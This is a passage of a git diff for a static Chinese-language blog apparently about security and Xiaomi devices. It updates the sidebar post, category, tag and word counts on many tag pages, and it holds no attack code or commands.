color: #ccc">数据挖掘</a> <a href="/tags/文件格式/" style="font-size: 12px; color: #ccc">文件格式</a> <a href="/tags/模型实现/" style="font-size: 12px; color: #ccc">模型实现</a> <a href="/tags/破解/" style="font-size: 12px; color: #ccc">破解</a> <a href="/tags/自然语言处理/" style="font-size: 12px; color: #ccc">自然语言处理</a> <a href="/tags/访问控制/" style="font-size: 12px; color: #ccc">访问控制</a> <a href="/tags/远程执行/" style="font-size: 12px; color: #ccc">远程执行</a> <a href="/tags/逆向/" style="font-size: 12px; color: #ccc">逆向</a> <a href="/tags/重放攻击/" style="font-size: 12px; color: #ccc">重放攻击</a>
+              <a href="/tags/CVE/" style="font-size: 12px; color: #ccc">CVE</a> <a href="/tags/QQ/" style="font-size: 12px; color: #ccc">QQ</a> <a href="/tags/SSH/" style="font-size: 12px; color: #ccc">SSH</a> <a href="/tags/Samba/" style="font-size: 12px; color: #ccc">Samba</a> <a href="/tags/USENIX/" style="font-size: 12px; color: #ccc">USENIX</a> <a href="/tags/itchat/" style="font-size: 12px; color: #ccc">itchat</a> <a href="/tags/miio/" style="font-size: 12px; color: #ccc">miio</a> <a href="/tags/python/" style="font-size: 12px; color: #ccc">python</a> <a href="/tags/wifi/" style="font-size: 12px; color: #ccc">wifi</a> <a href="/tags/中间人/" style="font-size: 12px; color: #ccc">中间人</a> <a href="/tags/侧信道攻击/" style="font-size: 12px; color: #ccc">侧信道攻击</a> <a href="/tags/密码/" style="font-size: 12px; color: #ccc">密码</a> <a href="/tags/小米/" style="font-size: 30px; color: #111">小米</a> <a href="/tags/微信/" style="font-size: 12px; color: #ccc">微信</a> <a href="/tags/数据库/" style="font-size: 12px; color: #ccc">数据库</a> <a href="/tags/数据挖掘/" style="font-size: 12px; color: #ccc">数据挖掘</a> <a href="/tags/文件格式/" style="font-size: 12px; color: #ccc">文件格式</a> <a href="/tags/模型实现/" style="font-size: 12px; color: #ccc">模型实现</a> <a href="/tags/破解/" style="font-size: 12px; color: #ccc">破解</a> <a href="/tags/自然语言处理/" style="font-size: 12px; color: #ccc">自然语言处理</a> <a href="/tags/访问控制/" style="font-size: 12px; color: #ccc">访问控制</a> <a href="/tags/远程执行/" style="font-size: 12px; color: #ccc">远程执行</a> <a href="/tags/逆向/" style="font-size: 12px; color: #ccc">逆向</a> <a href="/tags/重放攻击/" style="font-size: 12px; color: #ccc">重放攻击</a>
             </div>
           </div>
         
@@ -369,7 +369,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -380,7 +380,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -391,7 +391,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -462,7 +462,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/itchat/index.html b/tags/itchat/index.html
index 2254e3de..0c04d516 100644
--- a/tags/itchat/index.html
+++ b/tags/itchat/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
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@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/miio/index.html b/tags/miio/index.html
index 37696d37..f49e91c7 100644
--- a/tags/miio/index.html
+++ b/tags/miio/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/python/index.html b/tags/python/index.html
index f334e3ad..c251072f 100644
--- a/tags/python/index.html
+++ b/tags/python/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/wifi/index.html b/tags/wifi/index.html
index 3ffe90c7..db626e5f 100644
--- a/tags/wifi/index.html
+++ b/tags/wifi/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/中间人/index.html b/tags/中间人/index.html
index 647a167c..21e239e8 100644
--- a/tags/中间人/index.html
+++ b/tags/中间人/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/侧信道攻击/index.html b/tags/侧信道攻击/index.html
index 45d4ef3f..7e19602d 100644
--- a/tags/侧信道攻击/index.html
+++ b/tags/侧信道攻击/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +470,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">17k</span>
+    <span title="Site words total count">13.6k</span>
   
 </div>
 
diff --git a/tags/密码/index.html b/tags/密码/index.html
index 6257e657..2ba18875 100644
--- a/tags/密码/index.html
+++ b/tags/密码/index.html
@@ -377,7 +377,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">11</span>
+                  <span class="site-state-item-count">10</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +388,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">6</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +399,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">27</span>
+                  <span class="site-state-item-count">24</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
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@@ -470,7 +470,7 @@
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diff --git a/tags/小米/index.html b/tags/小米/index.html
index 076c37fa..dc427cb6 100644
--- a/tags/小米/index.html
+++ b/tags/小米/index.html
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@@ -414,7 +414,7 @@
               
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@@ -425,7 +425,7 @@
               
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 </div>
 
diff --git a/tags/微信/index.html b/tags/微信/index.html
index 9e56aeb0..c42fe456 100644
--- a/tags/微信/index.html
+++ b/tags/微信/index.html
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@@ -399,7 +399,7 @@
               
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@@ -470,7 +470,7 @@
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 </div>
 
diff --git a/tags/数据库/index.html b/tags/数据库/index.html
index 3f342649..fb3dfa86 100644
--- a/tags/数据库/index.html
+++ b/tags/数据库/index.html
@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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@@ -399,7 +399,7 @@
               
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@@ -470,7 +470,7 @@
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diff --git a/tags/数据挖掘/index.html b/tags/数据挖掘/index.html
index d686a9cb..7428a929 100644
--- a/tags/数据挖掘/index.html
+++ b/tags/数据挖掘/index.html
@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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@@ -399,7 +399,7 @@
               
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diff --git a/tags/文件格式/index.html b/tags/文件格式/index.html
index cfd40a28..db3c4678 100644
--- a/tags/文件格式/index.html
+++ b/tags/文件格式/index.html
@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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@@ -399,7 +399,7 @@
               
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diff --git a/tags/模型实现/index.html b/tags/模型实现/index.html
index 74e06b92..13aae823 100644
--- a/tags/模型实现/index.html
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@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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@@ -399,7 +399,7 @@
               
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@@ -470,7 +470,7 @@
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diff --git a/tags/破解/index.html b/tags/破解/index.html
index ca086cea..62274278 100644
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@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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@@ -399,7 +399,7 @@
               
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@@ -470,7 +470,7 @@
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diff --git a/tags/自然语言处理/index.html b/tags/自然语言处理/index.html
index 6943e725..2f0b6c08 100644
--- a/tags/自然语言处理/index.html
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@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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@@ -399,7 +399,7 @@
               
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diff --git a/tags/访问控制/index.html b/tags/访问控制/index.html
index 6a13c0c7..38ef95b4 100644
--- a/tags/访问控制/index.html
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@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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 </div>
 
diff --git a/tags/远程执行/index.html b/tags/远程执行/index.html
index 09a89be3..0a2f5c1d 100644
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@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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@@ -399,7 +399,7 @@
               
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@@ -470,7 +470,7 @@
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diff --git a/tags/逆向/index.html b/tags/逆向/index.html
index 4384e564..3814087b 100644
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@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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@@ -399,7 +399,7 @@
               
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@@ -470,7 +470,7 @@
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diff --git a/tags/重放攻击/index.html b/tags/重放攻击/index.html
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@@ -377,7 +377,7 @@
               
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@@ -388,7 +388,7 @@
               
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@@ -399,7 +399,7 @@
               
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@@ -470,7 +470,7 @@
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